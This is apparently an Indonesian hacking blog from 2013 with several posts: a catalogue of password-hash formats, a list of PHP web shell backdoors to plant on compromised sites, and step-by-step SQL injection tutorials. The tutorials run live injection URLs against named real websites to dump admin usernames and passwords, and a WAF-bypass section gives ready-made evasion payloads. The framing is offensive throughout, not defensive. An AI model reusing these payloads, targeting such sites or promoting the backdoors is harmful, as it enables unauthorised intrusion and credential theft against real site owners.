27 April 2013

Type Hash





Tentunya tidak asing buat kita tentang hash, Seringkali dalam usaha kita untuk meretas sebuah website, Pasti berjumpa dengan yang satu ini, yakni hash. Kadang awal kebingungan kalau ketemu hash yang berbeda.
Sebut saja hash selain dari MD5. Berikut ini saya coba share jenis - jenis hash yang ada di dunia website.

Joomla sample hash :
code : 5bfbf7ac60cd9adc717120a726f67aef:YiyYe4ayE4jCxMEIxbvQQnZrmT3b5MJJ
code : f7d0df664bd40fe249832b22209a6f52:tIWobb0vJQaflZtdZJFyF58jM1fagEvx

Wordpress sample hash :
code : $P$BSD67ZbT74AYOAIuxtRo34VoOBBs6P.
code : $P$BgsR3plMxSfOf3NBBmCDiJKuV2X5xA0

IPB sample hash :
code : 0c2357675fd9b4b31095025e74e7985c O~ily
code : e8d093762b684fac470030ba2b06c4de yvA3I

vBulletin sample hash :
code : 74004491e0c8647e7e7441a9d6a8764d:R{O
code : f0d25a0b5c4d94d59a8c4b15669964b9:&6G

D5(phpBB3) sample hash :
code : $H$9ky8PDwUeGiyZaSEdGjNYyf9K5Q/8s/
code : $H$9YenHxNS4T6NEIddk9Q0v15TUs7M4V1

MyBB sample hash :
code : b9522dfdbe04897d93bd807bdd5912fa
code : abe6c4859ff60b53fe77d3b9d29e2e3f

DES(Unix)
Example: IvS7aeT4NzQPM
Used in Linux and other similar OS.

Domain Cached Credentials
Example: Admin:b474d48cdfc4974d86ef4d24904cdd91
Algorithm: MD4(MD4(Unicode($pass)).Unicode(strtolower($username)))

MD5(Unix)
Example: $1$12345678$XM4P3PrKBgKNnTaqG9P0T/

MD5(APR)
Example: $apr1$12345678$auQSX8Mvzt.tdBi4y6Xgj.

MD5(phpBB3)
Example: $H$9123456785DAERgALpsri.D9z3ht120

MD5(Wordpress)
Example: $P$B123456780BhGFYSlUqGyE6ErKErL01
Used in Wordpress.

MySQL
Example: 606717496665bcba
Used in the old versions of MySQL.

MySQL5
Example: *E6CC90B878B948C35E92B003C792C46C58C4AF40
Used in the new versions of MySQL.

RAdmin v2.x
Example: 5e32cceaafed5cc80866737dfb212d7f

MD5
Example: c4ca4238a0b923820dcc509a6f75849b
digunakan : pada website umumnya

md5($pass.$salt)
Example: 6f04f0d75f6870858bae14ac0b6d9f73:1234
digunakan di : WB News, Joomla version 1.0.13 and higher.

md5($salt.$pass)
Example: f190ce9ac8445d249747cab7be43f7d5:12
digunakan di : osCommerce, AEF, Gallery and other CMS

md5(md5($pass))Example: 28c8edde3d61a0411511d3b1866f0636
digunakan di : e107, DLE, AVE, Diferior, Koobi and other CMS.

md5(md5($pass).$salt)
Example: 6011527690eddca23580955c216b1fd2:wQ6
digunakan di : vBulletin, IceBB.

md5(md5($salt).md5($pass))
Example: 81f87275dd805aa018df8befe09fe9f8:wH6_S
digunakan di : in IPB.

md5(md5($salt).$pass)
Example: 816a14db44578f516cbaef25bd8d8296:1234
Used in MyBB.

md5($salt.$pass.$salt)
Example: a3bc9e11fddf4fef4deea11e33668eab:1234
Used in TBDev.

md5($salt.md5($salt.$pass))
Example: 1d715e52285e5a6b546e442792652c8a:1234
Used in DLP.

SHA-1
Example: 356a192b7913b04c54574d18c28d46e6395428ab
Used in many forums and CMS.

sha1(strtolower($username).$pass)
Example: Admin:6c7ca345f63f835cb353ff15bd6c5e052ec08e7a
Used in SMF.

sha1($salt.sha1($salt.sha1($pass)))
Example: cd37bfbf68d198d11d39a67158c0c9cddf34573b:1234
Used in Woltlab BB.

SHA-256(Unix)Example: $5$12345678$jBWLgeYZbSvREnuBr5s3gp13vqiKSNK1rkTk9zYE1v0
Used in Linux and other similar OS.

SHA-512(Unix)Example: $6$12345678$U6Yv5E1lWn6mEESzKen42o6rbEmFNLlq6Ik9X3reMXY3doKEuxrcDohKUx0Oxf44aeTIxGEjssvtT1aKyZHjs
Used in Linux and other similar OS.

SHA-1(Django) = sha1($salt.$pass)
Example: sha1$12345678$90fbbcf2b72b5973ae42cd3a19ab4ae8a1bd210b
12345678 is salt (in the hexadecimal format)
90fbbcf2b72b5973ae42cd3a19ab4ae8a1bd210b is SHA-1 hash.

SHA-256(Django) = SHA-256($salt.$pass)
Example: sha256$12345678$154c4c511cbb166a317c247a839e46cac6d9208af5b015e1867a84cd9a56007b
12345678 is salt (in the hexadecimal format)
154c4c511cbb166a317c247a839e46cac6d9208af5b015e1867a84cd9a56007b is SHA-256 hash.

SHA-384(Django) = SHA-384($salt.$pass)
Example: sha384$12345678$c0be393a500c7d42b1bd03a1a0a76302f7f472fc132f11ea6373659d0bd8675d04e12d8016d83001c327f0ab70843dd5
12345678 is salt (in the hexadecimal format)
c0be393a500c7d42b1bd03a1a0a76302f7f472fc132f11ea6373659d0bd8675d04e12d8016d83001c327f0ab70843dd5 is SHA-384 hash.


Sumber : insidepro.com



PHP Shell Backdoor


Pasti semua sudah tau kegunaan dari php backdoor.
Yup.. yakni sebagai backdoor yang bisa kita simpan di web target yang telah kita kuasai.
Sehingga kita dapat melakukan full control pada website target.
Tentunya setelah kita attack dengan sql injection, lfi, rfi, atau exploit.

Fiturnya banyak, baik jumping, r00ting, send mailer, ddos, brute, dsb.

Nah, berikut PHP shell backdoor yang bisa kita download, 
akan tetapi linknya dari sumber yang terpercaya. 
Cz, maklum lagi banyak backdoor dalam backdoor. Jadi disarankan berhati - hati yah.
Kalau backdoor shell.php di encrypt, kawan2 bisa decrypt, trus liat sourcenya, ada yang ganjil tidak ? sapa tau aja ada titipan. hehee



download  : r57 Shell

screen shoot : 


download : c99.PHP

screen shoot : 


download : b374k-shell 

screenshoot :

download : ITSecTeam Shell 2.1

screenshoot : 



download : G6 Shell

screenshot :
 

download : indrajith.v.2.php

screenshoot : 


download :  WSO Web Shell 2.5.1

screenshoot : 


download : b374k 1n73ction (modified)

screenshoot : 


download : Ani-Shell 1.4 PHP Shell 

screenshoot : 



download : H4ckcity Sheller Code And Tutorial 

screenshoot : 


download : Mini PHP Shell 27.9-2

Screenshoot :  

download : Windows PHP Reverse Shell 

download : PHP-Kit-1.0

download : SyRiAn Sh3ll 7 

download : Devshell Backdoor 

download : WSH PHP Backdoor 1.0 

download : aspxshell.aspx.txt 

download : GotRoot Shell Script 

download : PHP SST Sheller 1.0 

download : Perl CGI Shell 

download : Knull Shell Alpha1 

download :  Reverse Shell 1.0

download : Weevely PHP Backdoor 0.7 

download : NetcatPHPShell 1.10 

download : Carbylamine PHP Encoder 

\\\----------------------------------------------------------------------///

Happy Hacking :D








26 April 2013

Error Based SQL injection





Berhubung tutor sql injection yang pernah saya bikin, agak disingkat. Pada kali ini saya coba sharing tutorial based sql injection dengan detail. Levelnya untuk pemula saja, yang masih awal dalam melakukan sql injection.

1. Apa Sql Injection itu ?

Salah satu tehnik dari sekian cara hacker mencuri data pada website yakni Sql injection. Penetrasi SQLi adalah tekhnik familliar yang coba memanfaatkan celah error pada aplikasi website (program error). Tujuannya yakni untuk mengetauhi isi database yang di pakai oleh website. Nah, database yang umum sering di gunakan berbagai website adalah Mysql, tentunya selain MsSql, MsAcces, postgreSQL, dan Oracle Jadi sesuai dengan judulnya yakni Sql Injection, jadi injeksi pada database website dengan memanfaatkan celah error. Cuma pastinya kita melakukan dengan manual, yakni request lewat url atau manual tanpa bantuan tool. akan tetapi banyak aplikasi sql injection, namun lebih tepat dan akurat kalau kita sering-sering latihan dengan manual.

2. Trus metode - metode Sql Injection apa ?

Berikut adalah jenis-jenis SQLi, akan tetapi saya tidak akan jelaskan masing-masing (mumet & kepanjangan)

UNION Based SQL injection
String Based SQL injection
Error Based SQL injection
Double Query SQL injection
Blind SQL injection
MsSQL injection

3. Apa saja yang kita butuhkan untuk melakukan sql injection ?
Tentunya yang perlu kita siapkan adalah sebagai berikut :

- dork sql injection
- add ons hackbar
- keberuntungan dan kesabaran

4. Contoh live target

http://efbw.eu/news.php?ID=42



- dork sqli = inurl:news.php?ID=
- copy-paste di search engine (google, bing, yahoo)

Untuk mengecek apakan dia ada pesan error, silahkan anda tambahkan = ' (koma atas) pada akhir url

http://efbw.eu/news.php?ID=42'

pesan errornya :

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Berarti jelas websitenya ada celah untuk kita injeksi.

+ Kemudian tambahkan perintah : order+by+ dan -- pada akhir url

http://efbw.eu/news.php?ID=42+order+by+1-- normal
http://efbw.eu/news.php?ID=42+order+by+1,2-- normal
http://efbw.eu/news.php?ID=42+order+by+1,2,3-- normal
http://efbw.eu/news.php?ID=42+order+by+1,2,3,4-- normal
http://efbw.eu/news.php?ID=42+order+by+1,2,3,4,5-- normal
http://efbw.eu/news.php?ID=42+order+by+1,2,3,4,5,6-- error




berarti validnya hanya sampai pada "5" (Column Count is 5)
nah, disini kita masuk pada tahap lanjutnya.
kita akan mencari angka ajaib pada websitenya :)
kita lakukan langkah berikutnya dengan perintah berikut..

masukan perintah :
http://efbw.eu/news.php?ID=-42+union+all+select+1,2,3,4,5--



angka ajaib yang muncul yakni angka "3"
+ kemudian kita akan mengecek versi mysqlnya, user, data direktori, dan user.

http://efbw.eu/news.php?ID=-42+union+all+select+1,2,group_concat(database(),0x0a,version(),0x0a,@@datadir,0x0a,@@hostname,0x0a,user()),4,5--



database()
version()
user()
@@datadir
@@hostname

+ untuk melihat semua database yang ada pada web target :

http://efbw.eu/news.php?ID=-42+union+all+select+1,2,group_concat(database()),4,5--
atau ...
http://efbw.eu/news.php?ID=-42+union+all+select+1,2,group_concat(schema_name),4,5+from+information_schema.schemata--



+ Kemudian kita akan mencari table databasenya

perintahnya yakni : "group_concat(table_name)" dan from+information_schema.tables+where+table_schema=database()--"

http://efbw.eu/news.php?ID=-42+union+all+select+1,2,group_concat(table_name),4,5+from+information_schema.tables+where+table_schema=database()--



+ Sesudah itu kita akan coba melihat kolom dari table yang kita inginkan.
Saya asumsikan kita akan melihat kolom dari table : "tbl_login"

Akan tetapi, tentunya kita convert terlebih dahulu. gunakanlah add hackbar yang terpasang di web browser anda (Hackbar).




tbl_login = 0x74625f6c6f67696e

Setelah kita encoding stringnya, langsung saja kita cari kolom dari tablenya.
Perintah yang kita ketikkan yakni : "group_concat(column_name)"

Kemudian di akhir url :
from+information_schema.columns+where+table_name=0x74625f6c6f67696e
ganti "database()--" dengan "0x74625f6c6f67696e"
penjelasan :
- 0x (spasi)
- 74625f6c6f67696e adalah "tbl_login" yang telah kita encoding
- sehingga menjadi : 0x74625f6c6f67696e

http://efbw.eu/news.php?ID=-42+union+all+select+1,2,group_concat(column_name),4,5+from+information_schema.columns+where+table_name=0x74625f6c6f67696e



+ Terakhir kita lihat dari kolom table yakni = "login" dan "password"

ketikkan kode berikut ini : "group_concat(login,0x3a,password)" dan "from+tb_login--"
penjelasan : 0x3a ( : )

http://efbw.eu/news.php?ID=-42+union+all+select+1,2,group_concat(login,0x3a,password),4,5+from+tb_login--


Kalau telah kita temukan passwordnya, kawan bisa cari admin pagenya.
untuk mencari halaman admin login websitenya anda bisa ketikan : admin.php, admin/index.php, administrator, wp-login, dsb.

Code : www.target.com/admin.php

Nah kalau gak ketemu juga admin pagenya, anda bisa liat tutor yang telah saya buat untuk menemukan admin page pada suatu website.

Silahkan klik disini

Salam ...



24 April 2013

String Based SQL injection



Tujuan untuk pembelajaran yah, khususnya buat pemula seperti saya. Kali ini saya sharing bagaimana ketika melakukan string based sql injection. Pada aplikasinya, kadang sql injection tidak sesuai dengan tutor atau bacaan yang kita dapatkan. Semuanya adalah hasil pengalaman yang mengasah kemampuan kita. Akan tetapi, tutor adalah sebagai walktrough kita pastinya :)

Bug SQLi : http://www.genero.co.id/index.php?page=news-detail&id=36

Message Error :
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''36'' AND news2_lang_id = 1' at line 1

Namun saat order, pagenya gak brubah2, tetap normal. nah disini masalahnya, ru langkah awal ud bikin problem. klw yg gak sabaran, yahh.. pake tools aja gitu. Tapi alangkah baiknya kita usaha "No Shortcut to sains"

news-detail&id=36 order by 1-- (1,2,3 dst, gagal son ..)
news-detail&id=36 group by 1-- (1,2,3 dst, gagal maning ..)
news-detail&id=36 having 1=2 (1,2,3 dst, gagal juga)

Failed .. pagenya tetap normal.

Solusinya saat inject :
index.php?page=news-detail&id=36' order by 7--+

berhasil .. cihuyy)
catatan : tambah koma (') id=36'
trus : id=36' order by 7--+
akhirannya pake : --+ atau --+-

news-detail&id=36'+order+by+1--+ true
news-detail&id=36'+order+by+2--+ true
news-detail&id=36'+order+by+3--+ true
news-detail&id=36'+order+by+4--+ true
news-detail&id=36'+order+by+5--+ true
news-detail&id=36'+order+by+6--+ true
news-detail&id=36'+order+by+7--+ False ..

Berarti column count normalnya pada angka 6
Langkah selanjutnya yaitu mencari angka ajaib yang bisa kita sisipkan kode inject kita nantinya.

news-detail&id=-36'+UNION+SELECT+1,2,3,4,5,6--+




Nongol angka ajaib 4 ( Valid String Column )

Skrng cari informasi pada servernya :
- version()
- @@datadir
- @@hostname
- user

Jadinya begono :
news-detail&id=-36'+UNION+SELECT+1,2,3,group_concat(database(),0x0a,version(),0x0a,@@datadir,0x0a,@@hostname,0x0a,user()),5,6--+



Trus cari tablenya :
news-detail&id=-36'+UNION+SELECT+1,2,3,group_concat(table_name),5,6+from+information_schema.tables where table_schema=database()--+



Asumsi saya kita langsung ke kolom admin :
news-detail&id=-36'+UNION+SELECT+1,2,3,group_concat(column_name),5,6+from+information_schema.columns where table_name=0x61646d696e--+



0x61646d696e = admin
Trakhir langkah kita yakni tinggal mencari data account adminnya :
news-detail&id=-36'+UNION+SELECT+1,2,3,group_concat(user,0x3a,pass),5,6+from+admin--+

Sebenarnya tutornya gak lengkap dan terkesan singkat, cz saya cuma mau jelasin klw kesulitan saat lakukan "order" .. Skali lagi, mohon maaf klw kurang berkenan.

Monggo cari admin pagenya



13 Oktober 2011

WAF Bypass (SQLi)


WAF adalah sebuah Firewall Aplikasi Web yang digunakan untuk memfilter request berbahaya (malicious requests) atau keyword pada websitew kita. Apakah WAF sebuah cara yang aman untuk melindungi Website saya? Tergantung dari program aplikasi anda, walaupun website kita sudah di lindungi sama WAF, akan tetapi tidak ada yang 100% aman.

Banyak cara yang dilakukan oleh injector untuk membypass security dari WAF ini.
Yakni dengan perintah - perintah yang akan melewati hadangan dari WAF.

Contoh - contoh perintah tersebut yakni :

Code : //, — , /**/, #, –+, — -, ;

1. Inline Comments

code : id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
 

2. Buffer Overflow:/Unexpected input:
 

code : id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A’s)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
,27,28,29,30,31,32,33,34,35,36–+


3. Replaced keywords(preg_replace and/or WAF’s with the same action):


code : id=1+UNIunionON+SeLselectECT+1,2,3–

4. Charachter encoding:


code : id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users–+


-------------------------------------------------


Oke. berikut ini contoh - contoh serangan untuk membypass WAF tersebut ..

1. perintah order kolom :

index.php?id=1 order by 10-- Error
index.php?id=1 order by 9-- Error
index.php?id=1 order by 8-- Error
index.php?id=1 order by 7-- Error
index.php?id=1 order by 6-- Error
index.php?id=1 order by 5-- True


or :
index.php?id=1/**/order/**/by/**/10/*
index.php?id=1/**/order/**/by/**/9/*
index.php?id=1/**/order/**/by/**/8/*
index.php?id=1/**/order/**/by/**/7/*
index.php?id=1/**/order/**/by/**/6/*
index.php?id=1/**/order/**/by/**/5/*


2. perintah valid string 

index.php?id=-1 union select 1,2,3,4,5--
index.php?id=-1/**/union/**/select/**/1,2,3,4,5--
index.php?id=-1+un/**/ion+sel/**/ect+1,2,3—
index.php?id=-1+/*!UNION*/+/*!SELECT*/+1,2,3,4,5--


or :
 

index.php?id=-1/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/1,2,3—

3. User, versi, data direktori, dsb :


index.php?id=-1 union select 1,2,database(),4,5--
index.php?id=-1 union select 1,2,user(),4,5--
index.php?id=-1 union select 1,2,version(),4,5--
index.php?id=-1 union select 1,2,@@datadir,4,5--


Cara menggabungkan :

index.php?id=-1 union select 1,2,group_concat(database(),0x3a,user(),0x3a,version()),4,5--


4. Lihat semua table :

index.php?id=-1 union select 1,2,group_concat(table_name),4,5 from information_schema.tables where tables_schema=database()--

index.php?id=-1/**/union/**/select/**/1,2,group_concat(table_name),4,5/**/from/**/information_schema.tables/**/where/**/tables_schema=database()--

index.php?id=-1+UNION+SELECT+1,2,GROUP_CONCAT(TABLE_NAME),4,5+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()--

index.php?id=-1+/*!UNION*/+/*!SELECT*/+1,2,GrOUp_COnCaT(TABLE_NAME),4,5+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()--
 

5. Lihat semua database :

index.php?id=-1+UNION+SELECT+1,2,GROUP_CONCAT(SCHEMA_NAME),4,5+FROM+INFORMATION_SCHEMA.SCHEMATA--
or:

index.php?id=-1+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(SCHEMA_NAME),4,5+FROM+INFORMATION_SCHEMA.SCHEMATA-
-


6. Sekarang kita akan liat kolom dari table yang kita inginkan :

index.php?id=-1 union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_name=0x61646d696e

index.php?id=-1/**/ union/**/select/**/1,2,group_concat(column_name),4,5 from information_schema.columns where table_name=0x61646d696e

index.php?id=-1+/*!UNION*/+/*!SELECT*+1,2,GROUP_CONCAT(COLUMN_NAME),4,5+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x61646d696e

index.php?id=-1+/*!UNION*
/+/*!SELECT*+1,2,GrOUp_COnCaT(COLUMN_NAME),4,5+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x61646d696e
 

7. Langkah terakhir:

index.php?id=-1 union select 1,2,group_concat(user,0x3a,password),4,5 from admin--

index.php?id=-1/**/union/**/select/**/1,2,group_concat(user,0x3a,password),4,5 from admin--

index.php?id=-1+/*!UNION*/+/*!SELECT*/+1,2,GrOUp_COnCaT(user,0x3a,password,0x3a,email),3,4,5+FROM+admin—

index.php?id=-1+un/**/ion+sel/**/ect+1,2,GrOUp_COnCaT(user,0x3a,password,0x3a,email),3,4,5+FROM+admin—



Untuk Prof Of Concept silahkan kawan - kawan semua kembangan ketika melakukan injeksi. 
Akan tetapi untuk prof of concepnya saya juga akan buat tutorialnya nanti 

Salam ..